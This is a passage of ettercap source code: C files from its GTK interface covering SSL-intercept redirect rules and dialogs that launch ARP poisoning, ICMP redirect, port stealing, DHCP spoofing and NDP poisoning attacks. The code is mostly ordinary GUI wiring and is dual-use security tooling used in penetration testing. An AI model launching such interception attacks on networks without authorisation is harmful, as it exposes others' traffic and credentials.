"clicked", G_CALLBACK(gtkui_sslredir_del), model); else gtk_widget_set_sensitive(button, FALSE); /* context menu */ context_menu = gtk_menu_new(); items = gtk_menu_item_new_with_label("Remove redirect"); gtk_menu_shell_append(GTK_MENU_SHELL(context_menu), items); g_signal_connect(G_OBJECT(items), "activate", G_CALLBACK(gtkui_sslredir_del), model); gtk_widget_show(items); items = gtk_menu_item_new_with_label("Remove all redirects"); gtk_menu_shell_append(GTK_MENU_SHELL(context_menu), items); g_signal_connect(G_OBJECT(items), "activate", G_CALLBACK(gtkui_sslredir_del_all), model); gtk_widget_show(items); g_signal_connect(G_OBJECT(treeview), "button-press-event", G_CALLBACK(gtkui_context_menu), context_menu); /* remove entries if delete key is pressed */ g_signal_connect(G_OBJECT(treeview), "key-press-event", G_CALLBACK(gtkui_sslredir_key_pressed), model); gtk_widget_show_all(sslredir_window); } /* Add a new line to the Rules list */ static void gtkui_sslredir_add(GtkWidget *widget, gpointer data) { GtkWidget *dialog, *content, *table, *source, *destination, *label, *frame; GtkWidget *proto, *af; GtkTreeModel *model; GtkTreeIter iter; GtkCellRenderer *cell1, *cell2; GtkWidget *entry_widgets[2]; int ret = 0; guint32 from_port, to_port; gchar *name; const gchar *from, *to; ec_redir_proto_t ip_ver; /* unused variabled */ (void) widget; (void) data; DEBUG_MSG("gtkui_sslredir_add()"); /* compile IP protocol family list if not already done */ if (af_list == NULL) { af_list = gtk_list_store_new(2, G_TYPE_STRING, /* human friendly name */ G_TYPE_UINT); /* protocol number for redirect */ gtk_list_store_append(af_list, &iter); gtk_list_store_set(af_list, &iter, 0, "IPv4", 1, EC_REDIR_PROTO_IPV4, -1); #ifdef WITH_IPV6 gtk_list_store_append(af_list, &iter); gtk_list_store_set(af_list, &iter, 0, "IPv6", 1, EC_REDIR_PROTO_IPV6, -1); #endif } dialog = gtk_dialog_new_with_buttons("Create new redirect rule", GTK_WINDOW(window), GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT, "_Cancel", GTK_RESPONSE_CANCEL, "_Insert", GTK_RESPONSE_OK, NULL); content = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_set_border_width(GTK_CONTAINER(content), 20); frame = gtk_frame_new("Redirect specification"); gtk_container_add(GTK_CONTAINER(content), frame); //gtk_widget_set_margin_bottom(frame, 10); table = gtk_table_new(4, 2, FALSE); gtk_table_set_row_spacings(GTK_TABLE(table), 5); gtk_table_set_col_spacings(GTK_TABLE(table), 5); gtk_container_set_border_width(GTK_CONTAINER(table), 8); gtk_container_add(GTK_CONTAINER(frame), table); label = gtk_label_new("IP Version:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 0, 1); af = gtk_combo_box_new(); gtk_combo_box_set_model(GTK_COMBO_BOX(af), GTK_TREE_MODEL(af_list)); gtk_combo_box_set_active(GTK_COMBO_BOX(af), 0); cell1 = gtk_cell_renderer_text_new(); gtk_cell_layout_pack_start(GTK_CELL_LAYOUT(af), cell1, TRUE); gtk_cell_layout_set_attributes(GTK_CELL_LAYOUT(af), cell1, "text", 0, NULL); gtk_table_attach_defaults(GTK_TABLE(table), af, 1, 2, 0, 1); label = gtk_label_new("Source:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 1, 2); source = gtk_entry_new(); gtk_entry_set_text(GTK_ENTRY(source), "0.0.0.0/0"); gtk_widget_grab_focus(source); gtk_widget_activate(source); gtk_table_attach_defaults(GTK_TABLE(table), source, 1, 2, 1, 2); label = gtk_label_new("Destination:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 2, 3); destination = gtk_entry_new(); gtk_entry_set_text(GTK_ENTRY(destination), "0.0.0.0/0"); gtk_table_attach_defaults(GTK_TABLE(table), destination, 1, 2, 2, 3); label = gtk_label_new("Service:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 3, 4); proto = gtk_combo_box_new(); gtk_combo_box_set_model(GTK_COMBO_BOX(proto), GTK_TREE_MODEL(proto_list)); gtk_combo_box_set_active(GTK_COMBO_BOX(proto), 0); cell2 = gtk_cell_renderer_text_new(); gtk_cell_layout_pack_start(GTK_CELL_LAYOUT(proto), cell2, TRUE); gtk_cell_layout_set_attributes(GTK_CELL_LAYOUT(proto), cell2, "text", 1, NULL); gtk_table_attach_defaults(GTK_TABLE(table), proto, 1, 2, 3, 4); entry_widgets[0] = source; entry_widgets[1] = destination; g_signal_connect(G_OBJECT(af), "changed", G_CALLBACK(gtkui_sslredir_af_changed), entry_widgets); gtk_widget_show_all(dialog); if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); /* extract information from widgets */ model = gtk_combo_box_get_model(GTK_COMBO_BOX(af)); gtk_combo_box_get_active_iter(GTK_COMBO_BOX(af), &iter); gtk_tree_model_get(model, &iter, 1, &ip_ver, -1); model = gtk_combo_box_get_model(GTK_COMBO_BOX(proto)); gtk_combo_box_get_active_iter(GTK_COMBO_BOX(proto), &iter); gtk_tree_model_get(model, &iter, 0, &name, 2, &from_port, 3, &to_port, -1); from = gtk_entry_get_text(GTK_ENTRY(source)); to = gtk_entry_get_text(GTK_ENTRY(destination)); /* execute redirect action */ ret = ec_redirect(EC_REDIR_ACTION_INSERT, name, ip_ver, from, to, from_port, to_port); /* inform user if redirect execution wasn't successful */ if (ret != E_SUCCESS) gtkui_message("Insertion of redirect rule failed."); else { /* otherwise add rule to rules list */ gtk_list_store_append(redirrules, &iter); gtk_list_store_set(redirrules, &iter, 0, ip_ver, 1, (ip_ver == EC_REDIR_PROTO_IPV4 ? "IPv4" : "IPv6"), 2, from, 3, to, 4, from_port, 5, to_port, 6, ec_strlc(name), 7, ec_struc(name), -1); } } gtk_widget_destroy(dialog); } /* * remove selected redirect rules */ void gtkui_sslredir_del(GtkWidget *widget, gpointer data) { GList *list; GtkTreeIter iter, iter_unsorted; GtkTreeModel *model; int ret; gchar *name; const gchar *from, *to; guint32 from_port, to_port; ec_redir_proto_t ip_ver; /* variable not used */ (void) widget; DEBUG_MSG("gtkui_sslredir_del()"); model = gtk_tree_model_sort_get_model(GTK_TREE_MODEL_SORT(data)); /* get selected entries */ if (gtk_tree_selection_count_selected_rows(selection) > 0) { list = gtk_tree_selection_get_selected_rows(selection, &model); for (list = g_list_last(list); list; list = g_list_previous(list)) { /* extract parameters from GtkTreeView model */ gtk_tree_model_get_iter(model, &iter, list->data); gtk_tree_model_get(model, &iter, 0, &ip_ver, 2, &from, 3, &to, 4, &from_port, 5, &to_port, 6, &name, -1); /* execute redirect action */ ret = ec_redirect(EC_REDIR_ACTION_REMOVE, name, ip_ver, from, to, from_port, to_port); /* inform user if redirect execution wasn't successful */ if (ret != E_SUCCESS) gtkui_message("Removal of redirect rule failed."); else { /* otherwise remove from list */ gtk_tree_model_sort_convert_iter_to_child_iter( GTK_TREE_MODEL_SORT(data), &iter_unsorted, &iter); gtk_list_store_remove(GTK_LIST_STORE(redirrules), &iter_unsorted); } } /* free the list of selection */ g_list_free_full(list, (GDestroyNotify)gtk_tree_path_free); } } /* * select all entries in TreeModel then then call gtkui_sslredir_del */ void gtkui_sslredir_del_all(GtkWidget *widget, gpointer data) { DEBUG_MSG("gtkui_sslredir_del_all():"); gtk_tree_selection_select_all(selection); gtkui_sslredir_del(widget, data); } /* detach ssl redir tab */ static void gtkui_sslredir_detach(GtkWidget *child) { sslredir_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW(sslredir_window), "SSL Intercept"); gtk_window_set_default_size(GTK_WINDOW(sslredir_window), 500, 250); g_signal_connect(G_OBJECT(sslredir_window), "delete_event", G_CALLBACK(gtkui_sslredir_close), NULL); gtkui_page_attach_shortcut(sslredir_window, gtkui_sslredir_attach); gtk_container_add(GTK_CONTAINER(sslredir_window), child); gtk_window_present(GTK_WINDOW(sslredir_window)); } /* callback for reattaching the detached ssl redir tab */ static void gtkui_sslredir_attach(void) { gtkui_sslredir_close(); gtkui_sslredir_show(); } /* close ssl redir tab */ static void gtkui_sslredir_close(void) { DEBUG_MSG("gtk_sslredir_close"); gtk_widget_destroy(sslredir_window); sslredir_window = NULL; } /* * create the list for the list of interceptable protocols */ static void gtkui_sslredir_create_lists(void) { int res; DEBUG_MSG("gtk_sslredir_create_lists()"); /* populate redirect rules */ if (redirrules == NULL) { redirrules = gtk_list_store_new(8, G_TYPE_UINT, /* IP address family */ G_TYPE_STRING, /* IP address family human readable */ G_TYPE_STRING, /* source definition */ G_TYPE_STRING, /* destination definition */ G_TYPE_UINT, /* protocol registered port */ G_TYPE_UINT, /* ettercap listener port */ G_TYPE_STRING, /* protocol name lower case */ G_TYPE_STRING); /* protocol name upper case */ /* walk through list of registered redirects */ res = ec_walk_redirects(>kui_sslredir_add_list); if (res == -E_NOTFOUND) { DEBUG_MSG("gtk_sslredir_create_lists(): no redirects registered - " "apparently no redirect commands enabled in etter.conf"); gtkui_message("Traffic redirect not enabled in etter.conf. "); } } /* populate registered services */ if (proto_list == NULL) { proto_list = gtk_list_store_new(4, G_TYPE_STRING, /* protocol name lower case */ G_TYPE_STRING, /* protocol name upper case */ G_TYPE_UINT, /* protocol registered port */ G_TYPE_UINT); /* ettercap listener port */ res = ec_walk_redirect_services(>kui_sslredir_add_service); if (res == -E_NOTFOUND) { g_object_unref(proto_list); proto_list = NULL; } } } /* * callback function to compose the list of active services */ static void gtkui_sslredir_add_service(struct serv_entry *se) { GtkTreeIter iter; DEBUG_MSG("gtkui_sslredir_add_service(%s)", se->name); /* update protocol list store */ gtk_list_store_append(proto_list, &iter); gtk_list_store_set(proto_list, &iter, 0, ec_strlc(se->name), 1, ec_struc(se->name), 2, se->from_port, 3, se->to_port, -1); } /* * callback function to compose the list of active redirects */ static void gtkui_sslredir_add_list(struct redir_entry *re) { GtkTreeIter iter; DEBUG_MSG("gtkui_sslredir_add_list(%s)", re->name); /* add rule to rules list */ gtk_list_store_append(redirrules, &iter); gtk_list_store_set(redirrules, &iter, 0, re->proto, 1, (re->proto == EC_REDIR_PROTO_IPV4 ? "IPv4" : "IPv6"), 2, re->source, 3, re->destination, 4, re->from_port, 5, re->to_port, 6, ec_strlc(re->name), 7, ec_struc(re->name), -1); } /* * callback when IP address family is changed * - update preset string of source / destination entry widgets */ void gtkui_sslredir_af_changed(GtkWidget *widget, gpointer data) { GtkWidget **widgets; GtkTreeModel *model; GtkTreeIter iter; ec_redir_proto_t proto; widgets = data; model = gtk_combo_box_get_model(GTK_COMBO_BOX(widget)); gtk_combo_box_get_active_iter(GTK_COMBO_BOX(widget), &iter); gtk_tree_model_get(model, &iter, 1, &proto, -1); switch (proto) { case EC_REDIR_PROTO_IPV4: gtk_entry_set_text(GTK_ENTRY(widgets[0]), "0.0.0.0/0"); gtk_entry_set_text(GTK_ENTRY(widgets[1]), "0.0.0.0/0"); gtk_widget_grab_focus(widgets[0]); break; case EC_REDIR_PROTO_IPV6: gtk_entry_set_text(GTK_ENTRY(widgets[0]), "::/0"); gtk_entry_set_text(GTK_ENTRY(widgets[1]), "::/0"); gtk_widget_grab_focus(widgets[0]); break; default: break; } } /* * callback function when delete key is pressed in redirect rule list */ gboolean gtkui_sslredir_key_pressed(GtkWidget *widget, GdkEventKey *event, gpointer data) { DEBUG_MSG("gtkui_sslredir_key_pressed()"); if (event->keyval == gdk_keyval_from_name("Delete")) { gtkui_sslredir_del(widget, data); return TRUE; } if (event->keyval == gdk_keyval_from_name("Insert")) { gtkui_sslredir_add(widget, data); return TRUE; } /* fall through to other handlers */ return FALSE; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk/ec_gtk_live.c0000644000175000017500000000201513505247364021310 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include /*******************************************/ /* the interface */ void gtkui_sniff_live(void) { DEBUG_MSG("gtk_sniff_live"); gtkui_create_menu(1); /* online menus */ } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk/ec_gtk_mitm.c0000644000175000017500000004064213505247364021327 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* proto */ static void gtkui_start_mitm(void); /* globals */ #define PARAMS_LEN 512 static char params[PARAMS_LEN+1]; /*******************************************/ void gtkui_arp_poisoning(void) { GtkWidget *dialog, *vbox, *hbox, *image, *button1, *button2, *frame, *content_area; gint response = 0; gboolean remote = FALSE; DEBUG_MSG("gtk_arp_poisoning"); // not needed, the \0 is already appended from snprintf // memset(params, '\0', PARAMS_LEN+1); dialog = gtk_dialog_new_with_buttons("MITM Attack: ARP Poisoning", GTK_WINDOW (window), GTK_DIALOG_MODAL, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); #if !GTK_CHECK_VERSION(2, 22, 0) gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); #endif hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, FALSE); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content_area), hbox); gtk_widget_show(hbox); image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.1); gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 5); gtk_widget_show(image); frame = gtk_frame_new("Optional parameters"); gtk_container_set_border_width(GTK_CONTAINER (frame), 5); gtk_box_pack_start (GTK_BOX (hbox), frame, TRUE, TRUE, 0); gtk_widget_show(frame); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 2, FALSE); gtk_container_set_border_width(GTK_CONTAINER (vbox), 5); gtk_container_add(GTK_CONTAINER (frame), vbox); gtk_widget_show(vbox); button1 = gtk_check_button_new_with_label("Sniff remote connections."); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button1), TRUE); gtk_box_pack_start(GTK_BOX (vbox), button1, FALSE, FALSE, 0); gtk_widget_show(button1); button2 = gtk_check_button_new_with_label("Only poison one-way."); gtk_box_pack_start(GTK_BOX (vbox), button2, FALSE, FALSE, 0); gtk_widget_show(button2); response = gtk_dialog_run(GTK_DIALOG(dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); const char *s_remote = "", *comma = "", *s_oneway = ""; if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button1))) { s_remote="remote"; remote = TRUE; } if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button2))) { if(remote) comma = ","; s_oneway = "oneway"; } snprintf(params, PARAMS_LEN+1, "arp:%s%s%s", s_remote, comma, s_oneway); gtkui_start_mitm(); } gtk_widget_destroy(dialog); /* a simpler method: gtkui_input_call("Parameters :", params + strlen("arp:"), PARAMS_LEN - strlen("arp:"), gtkui_start_mitm); */ } void gtkui_icmp_redir(void) { GtkWidget *dialog, *table, *hbox, *image, *label, *entry1, *entry2, *frame, *content_area; gint response = 0; DEBUG_MSG("gtk_icmp_redir"); dialog = gtk_dialog_new_with_buttons("MITM Attack: ICMP Redirect", GTK_WINDOW (window), GTK_DIALOG_MODAL, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); #if !GTK_CHECK_VERSION(2, 22, 0) gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); #endif hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, FALSE); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content_area), hbox); gtk_widget_show(hbox); image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.1); gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 5); gtk_widget_show(image); frame = gtk_frame_new("Gateway Information"); gtk_container_set_border_width(GTK_CONTAINER (frame), 5); gtk_box_pack_start (GTK_BOX (hbox), frame, TRUE, TRUE, 0); gtk_widget_show(frame); table = gtk_table_new(2, 2, FALSE); gtk_table_set_row_spacings(GTK_TABLE (table), 5); gtk_table_set_col_spacings(GTK_TABLE (table), 5); gtk_container_set_border_width(GTK_CONTAINER (table), 8); gtk_container_add(GTK_CONTAINER (frame), table); gtk_widget_show(table); label = gtk_label_new("MAC Address"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach(GTK_TABLE (table), label, 0, 1, 0, 1, GTK_FILL, GTK_FILL, 0, 0); gtk_widget_show(label); entry1 = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY (entry1), ETH_ASCII_ADDR_LEN); gtk_table_attach_defaults(GTK_TABLE (table), entry1, 1, 2, 0, 1); gtk_widget_show(entry1); label = gtk_label_new("IP Address"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach(GTK_TABLE (table), label, 0, 1, 1, 2, GTK_FILL, GTK_FILL, 0, 0); gtk_widget_show(label); entry2 = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY (entry2), IP6_ASCII_ADDR_LEN); gtk_table_attach_defaults(GTK_TABLE (table), entry2, 1, 2, 1, 2); gtk_widget_show(entry2); response = gtk_dialog_run(GTK_DIALOG(dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); // memset(params, '\0', PARAMS_LEN); snprintf(params, PARAMS_LEN+1, "icmp:%s/%s", gtk_entry_get_text(GTK_ENTRY(entry1)), gtk_entry_get_text(GTK_ENTRY(entry2))); gtkui_start_mitm(); } gtk_widget_destroy(dialog); /* a simpler method: gtkui_input_call("Parameters :", params + strlen("icmp:"), PARAMS_LEN - strlen("icmp:"), gtkui_start_mitm); */ } void gtkui_port_stealing(void) { GtkWidget *dialog, *vbox, *hbox, *image, *button1, *button2, *frame, *content_area; gint response = 0; gboolean remote = FALSE; DEBUG_MSG("gtk_port_stealing"); dialog = gtk_dialog_new_with_buttons("MITM Attack: Port Stealing", GTK_WINDOW (window), GTK_DIALOG_MODAL, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); #if !GTK_CHECK_VERSION(2, 22, 0) gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); #endif hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, FALSE); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content_area), hbox); gtk_widget_show(hbox); image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.1); gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 5); gtk_widget_show(image); frame = gtk_frame_new("Optional parameters"); gtk_container_set_border_width(GTK_CONTAINER (frame), 5); gtk_box_pack_start (GTK_BOX (hbox), frame, TRUE, TRUE, 0); gtk_widget_show(frame); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 2, FALSE); gtk_container_set_border_width(GTK_CONTAINER (vbox), 5); gtk_container_add(GTK_CONTAINER (frame), vbox); gtk_widget_show(vbox); button1 = gtk_check_button_new_with_label("Sniff remote connections."); gtk_box_pack_start(GTK_BOX (vbox), button1, FALSE, FALSE, 0); gtk_widget_show(button1); button2 = gtk_check_button_new_with_label("Propagate to other switches."); gtk_box_pack_start(GTK_BOX (vbox), button2, FALSE, FALSE, 0); gtk_widget_show(button2); response = gtk_dialog_run(GTK_DIALOG(dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); const char *s_remote= "", *tree = "", *comma = ""; if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button1))) { s_remote="remote"; remote = TRUE; } if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button2))) { if(remote) comma = ","; tree = "tree"; } snprintf(params, PARAMS_LEN+1, "port:%s%s%s", s_remote, comma, tree); gtkui_start_mitm(); } gtk_widget_destroy(dialog); /* a simpler method: gtkui_input_call("Parameters :", params + strlen("port:"), PARAMS_LEN - strlen("port:"), gtkui_start_mitm); */ } void gtkui_dhcp_spoofing(void) { GtkWidget *dialog, *table, *hbox, *image, *label, *entry1, *entry2, *entry3, *frame, *content_area; gint response = 0; DEBUG_MSG("gtk_dhcp_spoofing"); // memset(params, '\0', PARAMS_LEN+1); dialog = gtk_dialog_new_with_buttons("MITM Attack: DHCP Spoofing", GTK_WINDOW (window), GTK_DIALOG_MODAL, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); #if !GTK_CHECK_VERSION(2, 22, 0) gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); #endif hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, FALSE); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content_area), hbox); gtk_widget_show(hbox); image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.1); gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 5); gtk_widget_show(image); frame = gtk_frame_new("Server Information"); gtk_container_set_border_width(GTK_CONTAINER (frame), 5); gtk_box_pack_start (GTK_BOX (hbox), frame, TRUE, TRUE, 0); gtk_widget_show(frame); table = gtk_table_new(3, 2, FALSE); gtk_table_set_row_spacings(GTK_TABLE (table), 5); gtk_table_set_col_spacings(GTK_TABLE (table), 5); gtk_container_set_border_width(GTK_CONTAINER (table), 8); gtk_container_add(GTK_CONTAINER (frame), table); gtk_widget_show(table); label = gtk_label_new("IP Pool (optional)"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach(GTK_TABLE (table), label, 0, 1, 0, 1, GTK_FILL, GTK_FILL, 0, 0); gtk_widget_show(label); entry1 = gtk_entry_new(); gtk_table_attach_defaults(GTK_TABLE (table), entry1, 1, 2, 0, 1); gtk_widget_show(entry1); label = gtk_label_new("Netmask"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach(GTK_TABLE (table), label, 0, 1, 1, 2, GTK_FILL, GTK_FILL, 0, 0); gtk_widget_show(label); entry2 = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY (entry2), IP6_ASCII_ADDR_LEN); gtk_table_attach_defaults(GTK_TABLE (table), entry2, 1, 2, 1, 2); gtk_widget_show(entry2); label = gtk_label_new("DNS Server IP"); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach(GTK_TABLE (table), label, 0, 1, 2, 3, GTK_FILL, GTK_FILL, 0, 0); gtk_widget_show(label); entry3 = gtk_entry_new(); gtk_entry_set_max_length(GTK_ENTRY (entry3), IP6_ASCII_ADDR_LEN); gtk_table_attach_defaults(GTK_TABLE (table), entry3, 1, 2, 2, 3); gtk_widget_show(entry3); response = gtk_dialog_run(GTK_DIALOG(dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); // memset(params, '\0', PARAMS_LEN); snprintf(params, PARAMS_LEN+1, "dhcp:%s/%s/%s", gtk_entry_get_text(GTK_ENTRY(entry1)), gtk_entry_get_text(GTK_ENTRY(entry2)), gtk_entry_get_text(GTK_ENTRY(entry3))); DEBUG_MSG("ec_gtk_dhcp: DHCP MITM %s", params); gtkui_start_mitm(); } gtk_widget_destroy(dialog); /* a simpler method: gtkui_input_call("Parameters :", params + strlen("dhcp:"), PARAMS_LEN - strlen("dhcp:"), gtkui_start_mitm); */ } #ifdef WITH_IPV6 void gtkui_ndp_poisoning(void) { GtkWidget *dialog, *vbox, *hbox, *image, *button1, *button2, *frame, *content_area; gint response = 0; gboolean remote = FALSE; DEBUG_MSG("gtk_ndp_poisoning"); // not needed, the \0 is already appended from snprintf // memset(params, '\0', PARAMS_LEN+1); dialog = gtk_dialog_new_with_buttons("MITM Attack: NDP Poisoning", GTK_WINDOW (window), GTK_DIALOG_MODAL, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); #if !GTK_CHECK_VERSION(2, 22, 0) gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); #endif hbox = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, FALSE); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content_area), hbox); gtk_widget_show(hbox); image = gtk_image_new_from_stock (GTK_STOCK_DIALOG_QUESTION, GTK_ICON_SIZE_DIALOG); gtk_misc_set_alignment (GTK_MISC (image), 0.5, 0.1); gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 5); gtk_widget_show(image); frame = gtk_frame_new("Optional parameters"); gtk_container_set_border_width(GTK_CONTAINER (frame), 5); gtk_box_pack_start (GTK_BOX (hbox), frame, TRUE, TRUE, 0); gtk_widget_show(frame); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 2, FALSE); gtk_container_set_border_width(GTK_CONTAINER (vbox), 5); gtk_container_add(GTK_CONTAINER (frame), vbox); gtk_widget_show(vbox); button1 = gtk_check_button_new_with_label("Sniff remote connections."); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button1), TRUE); gtk_box_pack_start(GTK_BOX (vbox), button1, FALSE, FALSE, 0); gtk_widget_show(button1); button2 = gtk_check_button_new_with_label("Only poison one-way."); gtk_box_pack_start(GTK_BOX (vbox), button2, FALSE, FALSE, 0); gtk_widget_show(button2); response = gtk_dialog_run(GTK_DIALOG(dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); const char *s_remote = "", *comma = "", *s_oneway = ""; if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button1))) { s_remote="remote"; remote = TRUE; } if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button2))) { if(remote) comma = ","; s_oneway = "oneway"; } snprintf(params, PARAMS_LEN+1, "ndp:%s%s%s", s_remote, comma, s_oneway); gtkui_start_mitm(); } gtk_widget_destroy(dialog); /* a simpler method: gtkui_input_call("Parameters :", params + strlen("ndp:"), PARAMS_LEN - strlen("ndp:"), gtkui_start_mitm); */ } #endif /* * start the mitm attack by passing the name and parameters */ static void gtkui_start_mitm(void) { DEBUG_MSG("gtk_start_mitm"); mitm_set(params); mitm_start(); } /* * stop all the mitm attack(s) */ void gtkui_mitm_stop(void) { GtkWidget *dialog; DEBUG_MSG("gtk_mitm_stop"); /* create the dialog */ dialog = gtk_message_dialog_new(GTK_WINDOW (window), GTK_DIALOG_MODAL, GTK_MESSAGE_INFO, 0, "Stopping the mitm attack..."); gtk_window_set_position(GTK_WINDOW (dialog), GTK_WIN_POS_CENTER_ON_PARENT); gtk_window_set_resizable(GTK_WINDOW (dialog), FALSE); gtk_widget_queue_draw(dialog); gtk_widget_show_now(dialog); /* for GTK to display the dialog now */ while (gtk_events_pending ()) gtk_main_iteration (); /* stop the mitm process */ mitm_stop(); gtk_widget_destroy(dialog); gtkui_message("MITM attack(s) stopped"); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk/ec_gtk_filters.c0000644000175000017500000000413013505247364022021 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /*******************************************/ /* * display the file open dialog */ void gtkui_load_filter(void) { GtkWidget *dialog; gchar *filename; int response = 0; char *path = get_full_path("share", ""); DEBUG_MSG("gtk_load_filter"); dialog = gtk_file_chooser_dialog_new("Select a 